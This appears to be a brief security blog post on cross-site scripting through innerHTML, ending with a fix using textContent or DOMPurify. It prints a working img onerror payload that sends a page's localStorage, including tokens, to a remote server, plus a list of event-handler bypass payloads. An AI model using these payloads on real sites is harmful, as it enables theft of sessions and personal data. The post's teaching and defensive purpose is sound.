less than 1 minute read

The Problem with innerHTML

When a value is set via element.innerHTML = userInput, browsers refuse to execute <script> tags — they’re parsed as HTML but not run. However, event handlers on other tags do fire.

The Payload

<img src="/" onerror='fetch("http://192.168.XX.XX/exfil?data=" + encodeURIComponent(JSON.stringify(localStorage)))'>

How It Works

  1. src="/" — the browser tries to load an image from the root path
  2. That path returns the HTML page, not an image → triggers onerror
  3. onerror fires the fetch, sending all localStorage contents to your server

No <script> tag. No external file. One attribute.

Impact

GET /exfil?data=%7B%22token%22%3A%22eyJhbGci...%22%7D HTTP/1.1

All localStorage keys and values arrive in a single request. Common targets: JWT tokens, session identifiers, user preferences with PII.

Other innerHTML Bypass Tags

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
Fix: Never set innerHTML with user-controlled data. Use textContent or innerText instead — these never parse HTML. Use DOMPurify if HTML rendering is required.

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →